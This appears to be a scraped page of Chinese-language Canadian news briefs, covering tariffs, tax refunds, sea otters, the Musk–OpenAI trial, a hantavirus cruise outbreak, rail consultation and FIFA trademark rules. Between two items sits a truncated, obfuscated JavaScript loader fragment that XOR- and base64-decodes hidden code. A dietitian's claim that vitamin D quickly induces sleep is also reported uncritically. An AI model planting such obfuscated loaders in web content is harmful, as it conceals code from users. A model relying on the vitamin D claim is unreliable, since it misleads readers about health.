特朗普推动的“对等关税”理念,旨在透过全面课税来平衡贸易逆差,但其行政手段连续两次遭到司法机关纠正。法院的裁决令原本设定为期150天的加征关税安排面临失效。
目前,白宫方面尚未对此裁决作出正式回应,但法律界普遍认为,这项判决将对特朗普政府未来的贸易扩权行动构成重大打击,令美国与全球贸易伙伴之间的紧张关系增添更多不确定性。
生活成本大增致花钱趋谨慎 卑诗省民计划领到退税这样做……
【星岛综合报道】随着报税季的结束,许多卑诗省居民正利用退税增加储蓄。
据Daily Hive报道,道明银行(TD)最近的一项调查显示,54%的卑诗省居民计划将退税款存起来,这一比例高于2025年的33%;27%的省民计划进行投资,比前一年增加了15个百分点;43%的省民表示,由于当前的经济状况,他们将以不同于以往的方式使用这笔钱。
道明银行个人储蓄及投资副总裁贾恩(Manish Jain)在给Daily Hive的一封电邮中表示:“在卑诗省,我们看到人们的理财行为正在转向谨慎及有计划,这主要是由于持续的消费压力与经济不确定性。由于日常开支仍然很高,许多人将稳定放在首位,而不是消费。”
30%的受访者表示计划用退税款偿还债务,18%用于支付日常开支,10%用于度假或旅行。
贾恩说:“退税款正日益被视为一种财务缓冲,而非意外之财。许多卑诗省民正利用这笔钱来应对不断上涨的生活成本或意外支出,而可自由支配的支出则远远落后于此。”
目前,卑诗省经济预测今年仅成长1.2%,低于2025年的1.7%。据德勤会计师事务所称,这主要是由于美国对卑诗省林业部门征收关税的影响、人口成长放缓以及房地产市场疲软;同时,伊朗战争导致油价飙升,推高了汽油和食品杂货等日常用品的价格。
生活成本上涨的困扰已持续一整年。道明银行1月份的另一项调查发现,超过三分二的卑诗省民计划今年削减开支,包括减少外出用餐或外带、购物和娱乐。
最近,加拿大最大的破产清算公司MNP Ltd. 发布了季度消费者债务指数,该指数考察了加拿大人支付账单、应对意外支出,以及承受利率波动的能力。
尽管报告中也有一些好消息(卑诗省民月底有结余的人数创历史新高),但也显示人们正面临困境。
调查发现,超过一半的人“感觉自己工作更努力了,但经济状况却没有改善”。近三分二的人表示,由于经济状况难以预测,他们决定推迟重大财务决策;70%的卑诗省民表示,食品和汽油等物价上涨给他们的财务状况带来了压力。
(图:Pexels)
V11
想看海獭要把握机会了 温哥华水族馆将送走4只海獭
【星岛综合报道】位于温哥华水族馆(Vancouver Aquarium)的4只获救海獭(sea otters),将于下月转送至魁北克水族馆(Aquarium du Québec),这项跨省合作计划旨在扩大加拿大对无法野放海獭的照护能力,同时加强民众对海洋保育的认识。
温哥华水族馆表示,目前馆内共照养10只救援海獭,此次转移行动历经超过一年规划,主要配合魁北克水族馆全新海獭栖地设施即将启用。待6月完成移送后,魁北克水族馆也将成为加拿大第二座拥有专属海獭展区的水族馆。
温哥华水族馆自1956年成立以来,一直是加拿大唯一设有海獭专属栖地的水族馆。馆方指出,透过此次合作,不仅能让东加拿大民众有机会近距离认识海獭,也能为未来更多待救援的海獭腾出必要空间。
馆方与Marine Mammal Rescue Society长期合作,每年协助复育数百只来自太平洋西北岸的海洋动物。其中,不少海獭是在幼年时失去母亲、遭到救援,由于缺乏在野外生存所需的觅食与自保技能,最终无法返回自然环境。
根据加拿大渔业及海洋部的评估,这些海獭被列为“无法野放”个体,因此需终生接受人类照护。
温哥华水族馆动物照护主任尼尔(Mackenzie Neale)表示,馆内海獭栖地虽然能提供安全且丰富的生活环境,但空间仍有限。
她指出:“这次转移将释出急需的空间,好让下一只需要帮助的海獭到来时,我们能够即时接纳。”
此次被选中转往魁北克的4只海獭,分别名为哈迪(Hardy)、马克(Mak)、夸特斯(Quatse)和塔兹(Taz)。牠们在5月31日前,仍会于周末期间在温哥华水族馆公开亮相,之后将开始为长途东迁做准备。
魁北克水族馆馆长布雪(Nathalie Julien Boucher)非常期待向东加拿大民众介绍这些海洋哺乳类动物。
她说,由于这些海獭皆是从野外获救,因此牠们不仅具有展示价值,更能成为重要的教育资源,帮助民众了解海洋保育的重要性,同时延续馆方的保育使命。
温哥华水族馆坦言,这次转移是一场“充满感情的不舍告别”。但从长远来看,这项合作象征加拿大在照护救援海獭与推广海岸生态教育方面,迈出重要一步。
图:温哥华水族馆
v01
马斯克被爆主动“赠精” OpenAI女前董事庭上揭为此狂生四孩
美国科技富商马斯克(Elon Musk)控告人工智能巨头OpenAI的索赔案近日于加州法院开审。周三(7日)庭上的焦点落在马斯克4名子女的母亲、OpenAI前董事局成员Shivon Zilis身上。她首度公开披露,马斯克在其任职董事期间主动提出“捐精”,两人最终育有4名子女,此转折亦令她被质疑是马斯克安插在OpenAI的“线人”。
渴望成为人母 马斯克主动建议捐精
现职马斯克旗下Neuralink高层的Zilis在庭上供称,她与马斯克于2016年首次见面,两人约10年前曾有过一段情,但2020年马斯克提出捐精时,双方并非情侣关系。Zilis解释,当时她因健康问题难以受孕,且非常渴望成为母亲,加上马斯克当时积极鼓励身边所有人“多生孩子”,留意到她膝下犹虚,遂主动提出捐精。
Shivon Zilis首度公开披露,马斯克在其任职董事期间主动提出“捐精”,两人最终育有4名子女。路透社
Shivon Zilis首度公开披露,马斯克在其任职董事期间主动提出“捐精”,两人最终育有4名子女。路透社
Shivon Zilis首度公开披露,马斯克在其任职董事期间主动提出“捐精”,两人最终育有4名子女。网上图片
周三(7日)庭上的焦点落在马斯克4名子女的母亲、OpenAI前董事局成员Shivon Zilis身上。路透社
周三(7日)庭上的焦点落在马斯克4名子女的母亲、OpenAI前董事局成员Shivon Zilis身上。路透社
Zilis表示,最初计划马斯克毋须参与孩子的生活,且对生父身份“绝对保密”。然而,马斯克其后向传媒公开此事,目前更积极参与4名孩子的生活,双方每周会像家人般聚会数小时。
隐瞒生父身份惹“线人”质疑
由于Zilis在2020年至2023年间担任OpenAI董事,同时又在马斯克旗下的Tesla及Neuralink任职,其双重身份引发法律争议。OpenAI代表律师质疑,马斯克于2018年离开OpenAI后,Zilis利用董事职位向其提供公司情报,扮演“线人”角色。
Zilis承认,基于与马斯克的保密协议,她最初并未向OpenAI行政总裁阿特曼(Sam Altman)披露双胞胎的生父身份,直到2022年得知媒体即将报道才和盘托出。尽管如此,她称阿特曼当时仍表现信任并邀请她留任,直至2023年3月马斯克成立竞争对手xAI后,她才退出董事局。
索偿千亿美元 揭露OpenAI夺权争议
马斯克此次向OpenAI及微软(Microsoft)索偿高达1,500亿美元(约1.17万亿港元),指控阿特曼等人欺骗他投资,将非牟利初衷改为牟利模式。不过,庭上公开的电邮显示,马斯克当年曾积极参与转型讨论,甚至建议将OpenAI并入Tesla作为子公司,以增加控制权。
Zilis的电邮进一步披露,OpenAI创办团队最终拒绝马斯克的条件,主因是坚决反对马斯克“控制”公司的营运。随着这场涉及商业间谍疑云、高额索偿及复杂私生活的官司推进,矽谷两大势力的恩怨情仇亦悉数曝光。
【读者来函/5月7日刊】终论救生艇:剥开“悲情叙事”下的功利与虚妄
【读者来函】读者梁先生再来函,对本新闻网 (加拿大星岛新闻网 / singtao.ca) 于5月6日“专栏特区”中刊登一位读者北先生署名“一位同样认清现实的港人移民”的文章〈【读者来函】回应一位认清现实的97港人移民论“救生艇”文章〉,作出回应。
星岛新闻网今天刊登梁先生的第二篇文章〈【读者来函】终论救生艇:剥开“悲情叙事”下的功利与虚妄〉,以回应北先生的文章之余,也一并将引发讨论的文章重刊于下,方便读者对比。
以下为梁先生的第二篇来邮。
编辑先生:
拜读化名“北先生”的读者来函。北先生回函之神速、修辞之精致,令人惊叹。然而,其字里行间那股极具某专栏作家标志性的“被制度背叛的愤怒”与“对老移民的反感”,却让笔者意识到:这场辩论已不再是关于移民法理的探讨,而是一场必须被戳破的“悲情迷思”。
既然北先生试图用华丽的学术词汇(如“结构性困境”、“幸存者偏差”)来掩饰底层的逻辑破绽,笔者作为经历过 97 浪潮的过来人,愿在此作最后的诚实剖析,撕开这层被过度包装的“受害者叙事”。
一、 所谓“被背叛的愤怒”,掩盖的是将“人道恩赐”当作“消费权益”的荒谬
北先生长篇大论地抨击政府取消了救生艇的“优先处理(Priority Processing)”,认为这赋予了他们批评制度的权利。
然而,在移民法的现实中,救生艇计划被纳入的是“难民与人道(H&C)”类别。主权国家因应全球突发灾难(如乌克兰、中东局势)动态调整人道配额与处理速度,是理所当然的国家行为。北先生与部分新移民之所以感到“愤怒”,是因为他们错把这份基于国际形势的“行政恩赐”,当成了自己花钱购买的“消费者合约”。拿着人道救助的门票,却要求 VIP 级的商业兑现速度,这种将国家主权降格为“售后服务”的心态,才是真正的傲慢。
二、 剥开“对老移民的反感”,看见的是对“即时安稳”的眼红与焦躁
北先生指责笔者分享经验是“居高临下的说教”,并对 97 移民的视角充满反感。这种情绪的底色,说穿了是一种“不甘心”与“嫉妒”。
他们看到 97 移民如今的安居乐业,却刻意忽视了我们这代人在过去近三十年里,所经历的两位数高息房贷、专业降维打击以及漫长的基层打拼。他们渴望立刻获得我们今天所拥有的安稳与社会地位,却不愿意承受同等的熬炼。这种“凭什么你们有,我却要排队”的焦躁,让他们将所有对现实的不满,全数发泄在“审批太慢”这个借口上。
三、 所谓“等待的痛苦”,本质上是“福利与金钱”的计算
北先生声称,没有 PR 卡让他们“不上不下”、“青春被消耗”。让我们诚实一点:手持合法的工签与学签,身处法治且自由的加拿大,何来生存危机?
他们口中真正的“痛苦”,其实是没有 PR 就必须缴交高昂的国际学生学费,是买房时无法豁免的海外买家税,是无法即时享受本地人的各项社会福利。 笔者劝勉“等待有益”,是在谈论心智的磨练;而北先生所愤怒的,却是“投资回报的延期”。这根本不是什么“青春被制度斩杀”,这只是纯粹的财务计算。如果加拿大政府明天宣布“工学签期间免除国际学费并享有同等福利”,北先生口中那种“结构性的痛苦”恐怕瞬间就会烟消云散。
四、 拒绝“灾民”标签,是因为舍不得放弃“自由回流”的特权
北先生对笔者将其比喻为“灾民”感到极度刺耳,认为这很残忍。这正是整封反驳信中最自相矛盾、也最虚伪的一点。
为何他们如此抗拒这个标签?因为一旦承认自己是“难民”或“灾民”,就必须面对一个残酷的现实:真正的难民(如脱北者、逃离战火的叙利亚人)是没有退路的,他们不可能买张机票就回老家度大假。
这群抱怨航速的乘客,既想享受加拿大“人道救生艇”极低的移民门槛,又在心底紧紧攥著“随时可以回流香港”的底牌。他们想要难民通道的便利,却拒绝承担流亡者的沉重。这才是对全球真正流离失所者最残忍的消费。
结语:
笔者撰写此文,并非要针对任何个人,而是不愿见到这片土地上充满韧性的“港人精神”,被部分自怨自艾的专栏论调扭曲成一种“我弱我有理”的巨婴心态。
加拿大给了我们避风港,这已是最大的善意。如果北先生或其背后的代言人们,认为没有 PR...
搭夜机难入睡!营养师点名喝1种保健品助安睡 上机前30分钟饮就有效
放假去旅行或出差工作坐夜机想安睡有何方法?有营养师推荐补充1种保健品,上飞机前30分钟饮用,飞行时即感睡意。他还分享4个坐飞机小习惯,能在飞行时睡个好觉。
营养师点名喝1种保健品助安睡 上机前30分钟饮就有效
注册营养师Jim Lau在Facebook专页发文指,常有人问搭夜机有甚么补充剂可以帮助入睡,即使试过服用褪黑激素,效果亦未必理想。他表示,他以往搭夜机时,同样是那种“明明攰到癫,但对眼就系唔肯埋”的人。后来,他发现维他命D与睡眠质素有极大关系,并亲身实测,在上机前约30分钟,饮用少量维他命D,结果一上机后就即刻有困意。
为何维他命D会有如此神奇的助眠效果?Jim Lau解释,因为大脑内的维他命D受体,会调控一种名为AANAT的关键酵素,而这种酵素正正就直接影响着褪黑激素的合成速度。简单来说,维他命D就如为身体“开绿灯”,启动制造褪黑激素的机制。同时,维他命D亦会促进血清素的分泌,令人先感到放松,再慢慢产生自然的睡意。
Jim Lau补充,他个人会选择等渗透配方的维他命D,因为它毋须经过胃部漫长的消化过程,能让小肠快速吸收。他形容,维他命D饮用后不久,整个人便会开始放松,对他而言,这个吸收速度最为合适。
坐夜机4个助眠习惯 穿着宽松衣物也有效?
除了补充维他命D,Jim Lau亦分享了4个能相辅相成的夜机安睡小习惯:
坐夜机4个助眠习惯:
上机前饮食要轻盈: 吃得太饱会令肠胃在飞行途中不停消化,反而更难入睡。
穿着宽松衣物: 身体绷紧会令神经难以放松。
戴好眼罩耳塞: 隔绝机舱的灯光和噪音,有助大脑接收“是时候休息”的讯号。
避免饮用咖啡因及酒精饮品: 咖啡和酒都会干扰褪黑激素的正常分泌。
他提醒,很多香港人其实不只是搭飞机时才睡不着,平日亦长期处于亚健康状态。如果发现自己经常睡眠质素差、容易疲倦、难以放松,亦不妨考虑在睡前补充少量维他命D。
资料来源:注册营养师Jim Lau
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var...
通缉犯自制高卡车“龟速”逃逸被补 警方笑称未动用“孖宝赛车”工具
【星岛综合报道】警方表示,他们很快就抓获了一名在逃男子,此人近日被发现在卑诗省低陆平原驾驶自制高卡车(go-kart)。
大温运输警察(MVTP)表示,4月30日凌晨,他们在新西敏(二埠)发现这名嫌犯驾驶自制高卡车,遂将其拦下。
警方在社群媒体上发文称,该男子随后“试图以极慢的速度逃离警方追捕”。
警方补充说:“幸运的是,他的车轮陷进了碎石里,在动用红龟壳或香蕉皮之前,我们就逮捕了他。”警方指的是任天堂游戏《孖宝赛车》(Mario Kart)中的道具。
警方发现这名司机因3项未执行的逮捕令而被通缉,他们推测这可能是他试图逃避交通拦截的原因。
这名嫌犯姓名尚未公布,他已被逮捕并拘留等待出庭。
运输警察拒绝就该司机面临的指控发表评论。
(图:MVTP)
V11
【有片】全世界最大河狸坝在加拿大 太空上都能看见
【星岛综合报道】如果你以为河狸(beaver)只会在静谧的池塘里筑造小型水坝,那么眼前的景象可能会彻底颠覆你的看法。
在亚省伍德布法罗国家公园( Wood Buffalo National Park )深处,隐藏着一座规模庞大的河狸坝(beaver dam),甚至从太空都能看到。
这座水坝绵延约 800 米,是世界上最大的河狸坝。而且它并非一朝一夜之间建成;据信是由一代又一代的河狸历经数十年不断扩建而成。
这座水坝位于伍德布法罗国家公园极其偏远的地带,而伍德布法罗国家公园本身就是世界上最大的国家公园之一,因此很难被发现。
由于地处偏僻,没有便捷的道路或观景点可以直接通往那里。
(政府官网上提供这座河狸坝的不同角度。)
如果想要亲眼看到河狸坝,大约需要9天时间才能到达水坝,而且沿途会遇到极其荒凉的地形、茂密的灌木丛和湿地,而这正是它至今仍保持原始风貌的原因。
但这正是它如此引人入胜的原因之一。这里没有拥挤的人群,也没有过度商业化的旅游;它静静地存在于世,完全由大自然建造而成。
加拿大公园管理局称,这座河狸坝规模庞大,甚至可以从太空观测到。它于2007年首次透过卫星影像被发现,当时其巨大的体积使其清晰可见。
众所周知,河狸擅长工程技术,但这座坝的建造技艺却达到了一个全新的高度。
水坝本身由树枝、泥土和其他天然材料构成,所有材料都经过精心布置,以控制水流并创造一个稳定的栖息地。随着时间的推移,越来越多的河狸参与其中,水坝不断扩大。
专家称,这真是个奇妙的景象,提醒我们野生动物如何在不知不觉中塑造整个地形。
相关新闻:【有片】神奇“入侵者”进入商店不肯离开 下场是...
图:Wildlife & 加拿大政府
v01
用猎刀抵住交通员喉咙 男嫌本拿比犯案搭天车去温哥华
【星岛综合报道】温哥华警方已逮捕一名男子,此嫌犯于本周稍早在本拿比用一把“猎刀”抵住一名交通管制员的喉咙。
温哥华市警局(VPD)周四(7日)发布新闻稿称,事件发生在周一,地点位于本拿比Olive Ave夹Central Boulevard附近。
当天下午1时左右,本拿比皇家骑警接获报警赶到现场。温市警局表示,警方表示在他们到达之前,有人看到嫌犯登上开往温哥华的天车。
大约两小时后,温哥华警察在东区发现一名男子,其体貌特征与嫌犯描述“非常吻合”,并在东喜士定街(East Hastings St)靠近缅街的路段将其逮捕。
警方随后在嫌犯搜身过程中检获那把疑刀。
警方称,嫌犯是42岁的素里居民怀特贝尔(Derrick Whitebear),他被带到温市警拘留所,之后移交给皇家骑警。
据VPD消息,怀特贝尔被控持械攻击和违反缓刑规定,目前仍被羁押。
法庭网上纪录显示,嫌犯下次出庭日期定于5月15日,地点在温哥华的省级法院。
(图:星岛资料图片)
V11
汉坦病毒|爆疫邮轮增至8疑似个案3死 揭40名乘客已上岸 船上零防护
汉坦病毒疫情持续发酵,爆发疫症的荷兰邮轮“洪迪厄斯”号(Hondius)至今累计录得8宗病例,其中3人死亡。随着邮轮即将于西班牙靠岸,世界卫生组织(WHO)及欧盟正密切监察事态发展。有已下船的乘客批评,邮轮公司在首宗死讯传出后,竟声称是“自然死亡”,导致船上防护措施严重缺失。
船长称“自然死亡”
载有约150人的“洪迪厄斯”号,上月1日从阿根廷出发,上月11日录得首宗死亡个案,近两周后的24日,在停靠南大西洋的圣赫勒拿岛时,约有40名乘客下船。令人担心的是,该批乘客身上未知有否带有汉坦病毒。
荷兰外长贝伦德森表示,登岛乘客包括在船上去世的70岁荷兰男子的妻子,她下船后飞到南非接受治疗。当局尚未确认其他乘客目前的下落。
汉坦病毒疫情持续发酵,爆发疫症的荷兰邮轮“洪迪厄斯”号(Hondius)至今累计录得8宗病例,其中3人死亡。路透社
据一名在圣海伦娜岛(Saint Helena)下船的土耳其男游客透露,船长在首名乘客离世时,曾向众人表示该死者属“自然死亡”,并强调船上没有传染病。
世卫总干事谭德塞表示,汉坦病毒潜伏期较长,不排除后续会出现更多病例。路透社
汉坦病毒疫情持续发酵,爆发疫症的荷兰邮轮“洪迪厄斯”号(Hondius)至今累计录得8宗病例,其中3人死亡。路透社
汉坦病毒疫情持续发酵,爆发疫症的荷兰邮轮“洪迪厄斯”号(Hondius)至今累计录得8宗病例,其中3人死亡。路透社
另外,据一名已下船的土耳其男游客透露,船长在首名乘客离世时,曾向众人表示该死者属“自然死亡”,并强调船上没有传染病,当时众人都放下心头大石,但其后事实证明,首名死者是死于汉坦病毒,令人大感愕然和忧虑。
该名乘客不满地指出,在死讯传出后,邮轮并未采取任何防疫措施,船上依然照常举办讲座等团体活动,乘客亦如常在餐厅共用自助餐,期间完全没收到任何疫情警告。
爆疫邮轮预计周日抵西班牙
目前“洪迪厄斯”号正前往西班牙自治区位于大西洋的加那利群岛,预计周日停靠特内里费岛。尽管当地政府表示抗议,但在西班牙政府同意世卫请求下,邮轮仍获准靠岸。
事件进度概览:
死亡个案:累计3死。其中一对70岁荷兰夫妇,疑在阿根廷乌斯怀亚市观鸟期间接触染疫齧齿动物。
撤离行动:3名疑似感染患者已于周三乘医疗专机抵达荷兰阿姆斯特丹送院。
世卫:人传人罕见 威胁公众程度低
世卫总干事谭德塞表示,汉坦病毒潜伏期较长,不排除后续会出现更多病例,但目前疫情对全球公众健康的威胁依然较低。世卫强调,汉坦病毒人传人的情况极为罕见,公众毋须过度担忧其会演变成如新冠肺炎般的全球大流行。
欧盟亦表示已与多国成员国召开会议,目前事态仍受监察中。阿根廷卫生部则呼吁民众警惕,早前当地一名14岁少年亦因感染此病毒,在确诊两小时后便宣告不治。
反对高铁的声音遭无理删除 民众质疑渥太华公众咨询诚意
【星岛综合报道】联邦政府推动中的高速铁路计划,再度引发沿线居民对土地征收与公众咨询程序的质疑。多名参与线上咨询的居民表示,他们在官方互动地图上留下的意见,竟在未获充分解释下遭到删除,让原本已对计划抱持疑虑的民众,更怀疑政府是否真正愿意倾听反对声音。
CBC 报道,18岁的加勒特(Jackson Garrett)住在安省查菲洛克(Chaffey’s Lock),距离渥太华市中心西南方约125公里。当地正位于加拿大高速铁路计划研究中的南部走廊范围内。该项计划由联邦皇家公司“Alto”负责推动,预计兴建约1000公里长的高速铁路,连接多伦多与魁北克市,中途设置七个车站。
加勒特近日在Alto的线上互动地图留言,描述自己从小长大的家园。他提到父亲亲手盖起他们一家居住的房子,夏天在庭院种植蔬菜,冬天则靠砍柴取暖。更重要的是,祖母就住在山坡上不远处,是一家人生活的重要核心。
他在留言中写道:“如果铁路真的建在这里,将会打乱我们照顾祖母的方式,也会夺走我从小成长的地方。”
然而,加勒特表示,留言发出约一小时后,他便收到电子邮件通知,称该评论因“可能包含不适当的个人资讯”而被删除。
他感到气愤,说自己至今仍未获得更进一步说明,不明白为何这段充满个人情感与生活经验的文字,会被认定违规。
遭遇类似情况的还有84岁的布鲁尔(Cicily Brewer)。她居住在多伦多,但在安省波特兰(Portland)及魁北克洛朗区(Laurentians)拥有土地。她表示,自己在Alto地图上留下的3则评论,也全部遭到移除。
布鲁尔向媒体展示了收到的通知邮件,内容指出,她的留言“未尊重其他使用者,且可能带有骚扰或侮辱意图”。
对此,她感到相当震惊,说“那些内容是你能想像最温和、最支持农业的评论,根本不是为了骚扰或侮辱任何人。”
布鲁尔其中一则留言提到,加拿大粮食安全相当脆弱,政府应该“保护并强化农业能力,而不是对农地施加更多压力”。她并主张,与其兴建新的高速铁路,不如投资改善现有的Via Rail铁路走廊。
面对外界质疑,Alto发言人琼格沃德(Crystal Jongeward)表示,该机构委托第三方公司Bang the Table负责评论审核,以确保程序“公平且中立”。
她指出,审核人员重新检视2名民众的案例,确认留言遭移除是“人为错误”,目前已恢复显示。
Alto表示,在整个咨询期间共收到约1万8000则评论,其中118则遭到删除。根据CBC提出的案例,Bang the Table目前已展开全面复查,重新检视所有被移除的留言,若确认误删将恢复上架,相关工作预计于本星期完成。
尽管留言最终被恢复,加勒特与布鲁尔都表示,事件已动摇他们对咨询程序的信任。
布鲁尔指出,目前只有她在波特兰附近留下的一则评论重新出现,另外2则仍未恢复。她直言,这次经历让她对Alto在公众咨询过程中的诚信产生“严重怀疑”。
这项高速铁路计划近来在安省东部与魁北克部分地区引发愈来愈大争议。由于路线可能穿越约1700块私人土地,部分农民与居民担忧土地被征收、农地遭切割,以及乡村道路被迫封闭。
联邦保守党党领博励治(Pierre Poilievre)日前也公开表示,政府应取消多伦多至魁北克市的高速铁路计划,认为成本过高且缺乏民意支持。
Alto则表示,今年4月底结束为期3个月的公开咨询,包括实体说明会、线上会议与互动地图留言,声称已与安省及魁省超过1万名民众交流,并收到逾2万4000份问卷。
Alto预计今年6月公布完整咨询报告。
图;Alto & Transport Action Canada
v01
距离世界杯开幕仅5周!多伦多酒吧陷“用词风暴” 世界杯不能说?商户被迫改口宣传
【星岛综合报道】距离2026世界杯开幕仅剩五星期,多伦多酒吧及餐厅业界却正忧虑因用错字陷入风波。
国际足协(FIFA)近日再度收紧商标规管,未经授权商户若使用“世界杯(World Cup)”、官方口号、标志,甚至相关宣传字眼作商业用途,随时面临高额罚款。
这已经成为多伦多酒吧和餐厅面临的一个大问题。他们希望确保每个人都知道可以来这里观看世界杯重要的比赛,但如果你在黑板上甚至在社交媒体上使用某些词语,你不仅会受到顾客的光顾,国际足总的秘密警察还会上门拜访。
多间酒吧为免触犯法规,被迫改用“世界足球盛事(World Soccer Event)”等隐晦名称宣传赛事直播。
有商户直斥做法“荒谬兼多余”,质疑国际足协一方面希望全球球迷收看赛事,另一方面却打压协助营造气氛的酒吧及餐厅。
来自Scotland Yard Pub酒吧的东主Graham Hnatiw接受访问时表示,商户只是希望让顾客知道可以入场观看球赛,并非出售任何官方商品。
他说:“我们竟然连‘世界杯’都不能说,要改口叫‘世界足球盛事’,简直荒唐。我完全不明白这样做对国际足协有甚么好处。”
更令人沮丧的是,国际足总的执法团队其实就是多伦多市自己的执法人员。
“最令人震惊的是,多伦多市政府竟然签署了一项协议,同意成为国际足协的执法工具,执行这些近乎高压式的规则。”多伦多市议员Josh Matlow说。 “我甚至怀疑,自己现在公开说‘世界杯’会不会都有问题。”
Josh Matlow亦狠批,酒吧及餐厅如今犹如经营地下酒吧,需要以“暗号”方式宣传足球赛事。
国际足协历年来在保护其知识财产权方面非常强硬,多伦多的企业已经为此付出了惨痛的代价。
有商户早于2006年已曾因世界杯宣传惹上麻烦。学院街(College Street)一间著名意大利餐厅Cafe Diplomatico东主Rocco Mastrangelo透露,当年意大利晋身四强后,餐厅大举宣传,包括加装户外电视、印制赛程表、刊登广告等,最终收到国际足协律师通知,要求他们停止相关宣传。
他表示,事件涉及版权及官方赞助商利益冲突,而相关品牌支付巨额赞助费,国际足协因此对商标使用极度敏感。“当时我收到了一份停止侵权通知,说我侵犯了一些版权。主要是因为赞助商之间存在冲突,你必须尊重这一点,因为像一些合作的啤酒公司这样的企业,他们付了巨额资金。”
随着世界杯即将于6月12日展开,多伦多多间酒吧预料将会爆满。不过,在国际足协严密监控下,商户未来或需更加小心,避免因一句“世界杯”而惹上法律风波。
(资料图:多伦多市府,CityNews)T15






























